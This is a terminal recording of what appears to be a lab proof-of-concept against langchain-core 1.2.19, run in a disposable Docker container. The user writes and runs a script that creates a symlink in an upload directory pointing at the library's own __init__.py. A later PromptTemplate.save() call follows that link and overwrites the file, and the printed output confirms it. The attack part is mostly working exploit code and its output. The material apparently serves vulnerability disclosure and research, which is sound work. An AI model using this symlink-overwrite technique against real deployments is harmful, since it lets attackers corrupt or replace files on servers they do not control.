vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ asciinema play langchain-Remote-Exploit.cast vboxuser@Ubuntu-Server:~$ # Start fresh Docker container cd ~/langchain_lab sudo docker run -it --rm \ --name langchain_exploit_lab \ -v $(pwd):/app \ -w /app \ python:3.12-slim /bin/bash [sudo] password for vboxuser: root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# # Install vulnerable LangChain version pip install langchain-core==1.2.19 Collecting langchain-core==1.2.19 Downloading langchain_core-1.2.19-py3-none-any.whl.metadata (4.4 kB) Collecting jsonpatch<2.0.0,>=1.33.0 (from langchain-core==1.2.19) Downloading jsonpatch-1.33-py2.py3-none-any.whl.metadata (3.0 kB) Collecting langsmith<1.0.0,>=0.3.45 (from langchain-core==1.2.19) Downloading langsmith-0.7.28-py3-none-any.whl.metadata (15 kB) Collecting packaging>=23.2.0 (from langchain-core==1.2.19) Downloading packaging-26.0-py3-none-any.whl.metadata (3.3 kB) Collecting pydantic<3.0.0,>=2.7.4 (from langchain-core==1.2.19) Downloading pydantic-2.12.5-py3-none-any.whl.metadata (90 kB) Collecting pyyaml<7.0.0,>=5.3.0 (from langchain-core==1.2.19) Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB) Collecting tenacity!=8.4.0,<10.0.0,>=8.1.0 (from langchain-core==1.2.19) Downloading tenacity-9.1.4-py3-none-any.whl.metadata (1.2 kB) Collecting typing-extensions<5.0.0,>=4.7.0 (from langchain-core==1.2.19) Downloading typing_extensions-4.15.0-py3-none-any.whl.metadata (3.3 kB) Collecting uuid-utils<1.0,>=0.12.0 (from langchain-core==1.2.19) Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (4.8 kB) Collecting jsonpointer>=1.9 (from jsonpatch<2.0.0,>=1.33.0->langchain-core==1.2.19) Downloading jsonpointer-3.1.1-py3-none-any.whl.metadata (2.4 kB) Collecting httpx<1,>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading httpx-0.28.1-py3-none-any.whl.metadata (7.1 kB) Collecting orjson>=3.9.14 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (41 kB) Collecting requests-toolbelt>=1.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl.metadata (14 kB) Collecting requests>=2.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading requests-2.33.1-py3-none-any.whl.metadata (4.8 kB) Collecting xxhash>=3.0.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (13 kB) Collecting zstandard>=0.23.0 (from langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (3.3 kB) Collecting annotated-types>=0.6.0 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.19) Downloading annotated_types-0.7.0-py3-none-any.whl.metadata (15 kB) Collecting pydantic-core==2.41.5 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.19) Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (7.3 kB) Collecting typing-inspection>=0.4.2 (from pydantic<3.0.0,>=2.7.4->langchain-core==1.2.19) Downloading typing_inspection-0.4.2-py3-none-any.whl.metadata (2.6 kB) Collecting anyio (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading anyio-4.13.0-py3-none-any.whl.metadata (4.5 kB) Collecting certifi (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading certifi-2026.2.25-py3-none-any.whl.metadata (2.5 kB) Collecting httpcore==1.* (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading httpcore-1.0.9-py3-none-any.whl.metadata (21 kB) Collecting idna (from httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading idna-3.11-py3-none-any.whl.metadata (8.4 kB) Collecting h11>=0.16 (from httpcore==1.*->httpx<1,>=0.23.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading h11-0.16.0-py3-none-any.whl.metadata (8.3 kB) Collecting charset_normalizer<4,>=2 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (40 kB) Collecting urllib3<3,>=1.26 (from requests>=2.0.0->langsmith<1.0.0,>=0.3.45->langchain-core==1.2.19) Downloading urllib3-2.6.3-py3-none-any.whl.metadata (6.9 kB) Downloading langchain_core-1.2.19-py3-none-any.whl (503 kB) Downloading jsonpatch-1.33-py2.py3-none-any.whl (12 kB) Downloading langsmith-0.7.28-py3-none-any.whl (367 kB) Downloading packaging-26.0-py3-none-any.whl (74 kB) Downloading pydantic-2.12.5-py3-none-any.whl (463 kB) Downloading pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (2.1 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.1/2.1 MB 4.0 MB/s eta 0:00:00 Downloading pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (807 kB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 807.9/807.9 kB 3.7 MB/s eta 0:00:00 Downloading tenacity-9.1.4-py3-none-any.whl (28 kB) Downloading typing_extensions-4.15.0-py3-none-any.whl (44 kB) Downloading uuid_utils-0.14.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (345 kB) Downloading annotated_types-0.7.0-py3-none-any.whl (13 kB) Downloading httpx-0.28.1-py3-none-any.whl (73 kB) Downloading httpcore-1.0.9-py3-none-any.whl (78 kB) Downloading jsonpointer-3.1.1-py3-none-any.whl (7.7 kB) Downloading orjson-3.11.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (133 kB) Downloading requests-2.33.1-py3-none-any.whl (64 kB) Downloading requests_toolbelt-1.0.0-py2.py3-none-any.whl (54 kB) Downloading typing_inspection-0.4.2-py3-none-any.whl (14 kB) Downloading xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (193 kB) Downloading zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (5.5 MB) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 5.5/5.5 MB 4.8 MB/s eta 0:00:00 Downloading certifi-2026.2.25-py3-none-any.whl (153 kB) Downloading charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (216 kB) Downloading idna-3.11-py3-none-any.whl (71 kB) Downloading urllib3-2.6.3-py3-none-any.whl (131 kB) Downloading anyio-4.13.0-py3-none-any.whl (114 kB) Downloading h11-0.16.0-py3-none-any.whl (37 kB) Installing collected packages: zstandard, xxhash, uuid-utils, urllib3, typing-extensions, tenacity, pyyaml, packaging, orjson, jsonpointer, idna, h11, charset_normalizer, certifi, annotated-types, typing-inspection, requests, pydantic-core, jsonpatch, httpcore, anyio, requests-toolbelt, pydantic, httpx, langsmith, langchain-core Successfully installed annotated-types-0.7.0 anyio-4.13.0 certifi-2026.2.25 charset_normalizer-3.4.7 h11-0.16.0 httpcore-1.0.9 httpx-0.28.1 idna-3.11 jsonpatch-1.33 jsonpointer-3.1.1 langchain-core-1.2.19 langsmith-0.7.28 orjson-3.11.8 packaging-26.0 pydantic-2.12.5 pydantic-core-2.41.5 pyyaml-6.0.3 requests-2.33.1 requests-toolbelt-1.0.0 tenacity-9.1.4 typing-extensions-4.15.0 typing-inspection-0.4.2 urllib3-2.6.3 uuid-utils-0.14.1 xxhash-3.6.0 zstandard-0.25.0 WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning. [notice] A new release of pip is available: 25.0.1 -> 26.0.1 [notice] To update, run: pip install --upgrade pip root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# cat << 'EOF' > remote_exploit_sim.py import os, pathlib, langchain_core from langchain_core.prompts import PromptTemplate # 1. SETUP LIB_INIT = pathlib.Path(langchain_core.__file__) UPLOAD_DIR = pathlib.Path("./user_uploads") UPLOAD_DIR.mkdir(exist_ok=True) PAYLOAD_LINK = UPLOAD_DIR / "malicious_link.json" MARKER = "### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###" print(f"[*] Target System File: {LIB_INIT}") # 2. THE "REMOTE" SIMULATION # We are simulating a server unzipping a user-uploaded file that contains a symlink. print("\n[!] STAGE 1: Server extracts 'user_data.zip' (simulated)...") if os.path.exists(PAYLOAD_LINK): os.remove(PAYLOAD_LINK) os.symlink(str(LIB_INIT), PAYLOAD_LINK) print(f"[*] Verified: Data-driven symlink created at {PAYLOAD_LINK}") # 3. VERIFY INITIAL STATE with open(LIB_INIT, "r") as f: orig = f.read(50) print(f"[*] Original Library Header: {orig.strip()}...") # 4. THE EXPLOIT (The "Confused Deputy" call) print("\n[!] STAGE 2: Triggering LangChain logic via standard .save()...") prompt = PromptTemplate(template=MARKER, input_variables=[]) try: # This is the "Deputy" doing the dirty work prompt.save(str(PAYLOAD_LINK)) print("[*] .save() completed.") except Exception as e: print(f"[!] Error during save: {e}") # 5. THE SMOKING GUN print("\n[!] STAGE 3: Final Verification...") with open(LIB_INIT, "r") as f: current_content = f.read() if MARKER in current_content: print("="*40) print("✅ SUCCESS: SCOPE CHANGE DETECTED!") print(f"✅ SYSTEM FILE POISONED: {LIB_INIT}") print(f"✅ CONTENT: {current_content.strip()}") print("="*40) else: print("❌ FAILED: Content was not overwritten. Checking symlink...") print(f"[*] Target still exists? {LIB_INIT.exists()}") EOF root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# root@27fd374cb8f6:/app# python remote_exploit_sim.py [*] Target System File: /usr/local/lib/python3.12/site-packages/langchain_core/__init__.py [!] STAGE 1: Server extracts 'user_data.zip' (simulated)... [*] Verified: Data-driven symlink created at user_uploads/malicious_link.json [*] Original Library Header: """`langchain-core` defines the base abstractions... [!] STAGE 2: Triggering LangChain logic via standard .save()... [*] .save() completed. [!] STAGE 3: Final Verification... ======================================== ✅ SUCCESS: SCOPE CHANGE DETECTED! ✅ SYSTEM FILE POISONED: /usr/local/lib/python3.12/site-packages/langchain_core/__init__.py ✅ CONTENT: { "name": null, "input_variables": [], "optional_variables": [], "output_parser": null, "partial_variables": {}, "metadata": null, "tags": null, "template": "### CRITICAL_INTEGRITY_FAILURE_JDP_SECURITY ###", "template_format": "f-string", "validate_template": false, "_type": "prompt" } ======================================== root@27fd374cb8f6:/app# exit exit vboxuser@Ubuntu-Server:~/langchain_lab$ exit vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$